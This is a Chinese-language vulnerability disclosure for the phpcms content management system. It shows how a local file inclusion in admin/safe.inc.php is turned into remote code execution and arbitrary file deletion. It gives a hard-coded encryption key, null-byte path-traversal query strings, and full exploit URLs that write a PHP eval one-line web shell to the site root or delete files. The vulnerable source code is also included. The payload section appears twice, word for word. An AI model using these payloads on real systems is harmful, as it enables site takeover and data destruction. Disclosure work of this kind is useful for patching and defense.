phpcms本地包含類漏洞,如果該文件包含了/include/common.inc.php就可以包含執行很多后台才能執行的文件了。
由於phpcms的全局變量機制,導致能拿shell的方法很多,類似的問題不止一個。
admin/safe.inc.php文件是后台掃木馬的程序,但是很可惜的是雖然文件名叫做safe,但是一點也不safe。
公布一個本地包含秒殺拿shell的方法。
包含:admin/safe.inc.php文件GET提交一下數據
將在根目錄下生成一句話
用上一篇得到的密鑰$key='sIpeofogblFVCildZEwe';
加密如下字符串
$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';
http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
將在根目錄下生成一句話木馬
同理任意文件刪除漏洞:
$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';
http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==
貼上存在漏洞的代碼://admin/safe.inc.php
<?php defined('IN_PHPCMS') or exit('Access Denied'); // include/common.inc.php 里面聲明了常量 // define('IN_PHPCMS', TRUE); if(empty($action)) $action = "start"; $safe = cache_read('safe.php'); $filecheck = load('filecheck.class.php'); if(empty($safe)) { $safe = array ( 'file_type' => 'php|js', 'code' => '', 'func' => 'com|system|exec|eval|escapeshell|cmd|passthru|base64_decode|gzuncompress', 'dir' => $filecheck->checked_dirs() ); } switch ($action) { ... case 'edit_code': if (file_put_contents(PHPCMS_ROOT.$file_path, stripcslashes($code))) { showmessage('修改成功!'); } break; case 'del_file': $file_path = urldecode($files); if (empty($file_path)) { showmessage('請選擇文件'); } $file_list = cache_read('scan_backdoor.php'); unset($file_list[$file_path]); cache_write('scan_backdoor.php',$file_list); @unlink(PHPCMS_ROOT.$file_path); showmessage('文件刪除成功!', '?mod=phpcms&file=safe&action=scan_table'); break; ...
漏洞證明:
將在根目錄下生成一句話
用上一篇得到的密鑰$key='sIpeofogblFVCildZEwe';
加密如下字符串
$evil='i=1&m=1&f=fuck&action=edit_code&file_path=evil.php&code=<?eval($_POST[a])?>&mod=../../admin/safe.inc.php%00';
http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBUBBhIwBA0II3AlAAABBTUWERt0FRMGCkEXChxgNSwNCVlmehITEiVYQTA2IDQ2NycLalZSQjcqE1hdZ19LQUkOAw8FKHkwCAoBdCwZBl05GBVKVl8=
將在根目錄下生成一句話木馬
同理任意文件刪除漏洞:
$evil='i=1&m=1&f=fuck&action=del_file&files=robots.txt&mod=../../admin/safe.inc.php%00';
http://127.0.0.1/n/phpcms/play.php?a_k=GnRBQwJbXkEEUSAjIAJKBTkxHgoddBQAAzkJDg4JYDAqBQkXZzcYBxw9A0sbHhtBDwMia21HQ0p0ahYBHiAeShwHCQJMBSg1bRkEFH91Rw==
